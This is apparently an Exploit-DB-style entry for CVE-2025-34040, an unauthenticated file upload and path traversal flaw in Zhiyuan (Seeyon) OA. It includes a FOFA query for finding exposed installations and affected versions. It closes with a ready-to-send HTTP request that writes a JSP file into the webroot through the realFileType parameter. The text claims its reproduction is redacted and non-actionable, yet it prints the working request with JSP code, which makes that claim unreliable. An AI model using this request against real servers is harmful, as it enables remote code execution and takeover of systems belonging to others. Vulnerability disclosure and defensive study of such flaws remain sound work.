Zhiyuan OA – arbitrary file upload leading
# Exploit Title: Zhiyuan OA - arbitrary file upload leading # Google Dork / FOFA: app="致远互联-OA" && title="V8.0SP2" # Date: 1-11-2025 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://service.seeyon.com/ # Software Link: [vendor download / product page if available] # Version: 5.0, 5.1–5.6sp1, 6.0–6.1sp2, 7.0–7.1sp1, 8.0–8.0sp2 (per NVD/VulnCheck) # Tested on: MacOS # CVE: CVE-2025-34040 Description: A path-traversal / improper validation in the multipart file upload handling of Zhiyuan OA's `wpsAssistServlet` allows an unauthenticated actor (or actor able to reach upload endpoint) to place crafted files outside the intended directories by controlling `realFileType` and `fileId` parameters. Under affected configurations, an uploaded JSP can be stored in the webroot and executed, yielding remote code execution. High-level reproduction template (redacted — non-actionable): POST request to `/seeyon/wpsAssistServlet` with multipart/form-data. The `realFileType` parameter is used to resolve the target path; insufficient validation permits `..` sequences leading to writes under webapp root. The uploaded file contents must be controlled to produce a server-side executable file (e.g., JSP) — DO NOT include such server-side code here. Impact: - Remote code execution if the uploaded file is accessible and executable. - Complete server compromise and pivoting to internal networks. - Data exfiltration, persistence, and further lateral movement. References: - NVD CVE-2025-34040 (NVD entry – awaiting enrichment) - VulnCheck advisory: https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload - CNVD entry: https://www.cnvd.org.cn/flaw/show/CNVD-2021-01627 - Vendor patch/notice: https://service.seeyon.com/patchtools/tp.html POC; POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/Hello.jsp&fileId=2 HTTP/1.1 Host: Content-Type: multipart/form-data; boundary=...... Accept-Encoding: gzip --...... Content-Disposition: form-data; name="upload"; filename="123.xls" Content-Type: application/vnd.ms-excel <% out.println("HelloWorld");%> --.......-- |